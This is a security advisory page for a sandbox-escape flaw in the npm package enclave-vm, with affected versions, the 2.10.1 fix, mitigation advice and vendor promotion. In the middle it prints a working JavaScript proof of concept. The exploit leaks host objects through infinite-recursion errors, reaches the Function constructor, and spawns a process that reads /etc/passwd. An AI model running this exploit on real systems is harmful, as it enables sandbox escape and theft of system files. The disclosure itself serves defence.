GHSA-x39w-8vm5-5m3p — enclave-vm
Fix: agentfront/enclave@2fcf5daGHSA-x39w-8vm5-5m3p is a CWE-835 vulnerability in enclave-vm. A fix is available for enclave-vm — see the affected versions and patch details below.
Sandbox escape via infinite recursion and error objects
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-x39w-8vm5-5m3p.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
enclave-vmnpm@enclave-vm/corenpmDescription
Note: The npm package has moved to @enclave-vm/core (formerly enclave-vm).
All fixed versions and guidance refer to @enclave-vm/core.
Summary
The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.
Details
There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.
PoC
The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.
import { Enclave } from 'enclave-vm';
// Create enclave with a tool handler
const enclave = new Enclave({
timeout: 5000,
maxToolCalls: 10,
maxIterations: 1000,
toolHandler: async (toolName, args) => {
// Your tool execution logic
return { success: true, data: `Called ${toolName}` };
},
});
// Execute AgentScript code
const result = await enclave.run(`
let res = null, rootProt = null;
let a = () =>{
try {
a();
} catch (e) {
rootProt = e[["__proto__"]][["__proto__"]][["__proto__"]];
res=e.stack
}
}
a();
rootProt[["foo"]] = rootProt[["toString"]][["constructor"]]
rootProt[["foo"]]("let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawn_sync').spawn(options).output[1].toString())")();
`);
Impact
Sandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | enclave-vm | all versions | No fix |
| 📦npm | @enclave-vm/core | all versions | 2.10.1npm install @enclave-vm/core@2.10.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for enclave-vm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
No patched version of enclave-vm has shipped for GHSA-x39w-8vm5-5m3p yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-x39w-8vm5-5m3p can be triaged on real exposure rather than presence alone.
Tailored to GHSA-x39w-8vm5-5m3p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-x39w-8vm5-5m3p in your dependencies?
O3 Security finds GHSA-x39w-8vm5-5m3p across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.